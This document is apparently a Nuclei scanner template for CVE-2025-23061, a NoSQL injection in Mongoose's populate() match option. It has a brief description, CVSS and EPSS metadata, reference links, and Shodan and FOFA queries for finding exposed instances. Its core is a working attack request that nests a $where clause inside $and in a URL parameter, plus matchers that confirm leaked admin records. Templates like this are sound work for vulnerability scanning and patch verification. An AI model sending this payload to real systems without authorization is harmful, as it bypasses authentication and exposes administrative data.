NoSQL injection vulnerability in Mongoose < 8.9.5 affecting the populate() function's match option. This vulnerability exists due to an incomplete fix for CVE-2024-53900. While direct $where injection is blocked, attackers can bypass this protection by nesting $where operators within logical operators like $and, allowing execution of arbitrary JavaScript code on MongoDB server, bypassing authentication, and accessing sensitive administrative data.
PoC代码[已公开]
id: CVE-2025-23061
info:
name: Mongoose - NoSQL Injection
author: NamhyunKo
severity: critical
description: |
NoSQL injection vulnerability in Mongoose < 8.9.5 affecting the populate() function's match option. This vulnerability exists due to an incomplete fix for CVE-2024-53900. While direct $where injection is blocked, attackers can bypass this protection by nesting $where operators within logical operators like $and, allowing execution of arbitrary JavaScript code on MongoDB server, bypassing authentication, and accessing sensitive administrative data.
reference:
- https://github.com/Automattic/mongoose/commit/64a9f9706f2428c49e0cfb8e223065acc645f7bc
- https://github.com/Automattic/mongoose/releases/tag/8.9.5
- https://github.com/NamhyeonKo/mongoose-cve-lab
- https://nvd.nist.gov/vuln/detail/CVE-2025-23061
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.0
cve-id: CVE-2025-23061
epss-score: 0.68408
epss-percentile: 0.98568
cwe-id: CWE-94
cpe: cpe:2.3:a:mongoosejs:mongoose:*:*:*:*:*:node.js:*:*
metadata:
verified: true
max-request: 1
shodan-query: title:"Mongoose"
fofa-query: title="Mongoose"
tags: cve,cve2025,nosql,mongoose,nodejs
http:
- method: GET
path:
- '{{BaseURL}}/posts?authorMatch={"$and":[{"$where":"this.isAdmin"}]}'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"isAdmin":true'
- '"title":'
- '"username":'
condition: and
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
# digest: 4b0a00483046022100f854f52fc9d5223dae5e94f74b43a8859992b1dd1b5eaa66e7ccee9ab0138b86022100bb30d30c5ead049ad4a718b3003ff6e03cb477ed35bb7a87b04bafbc20dfbd3e:922c64590222798bb761d5b6d8e72950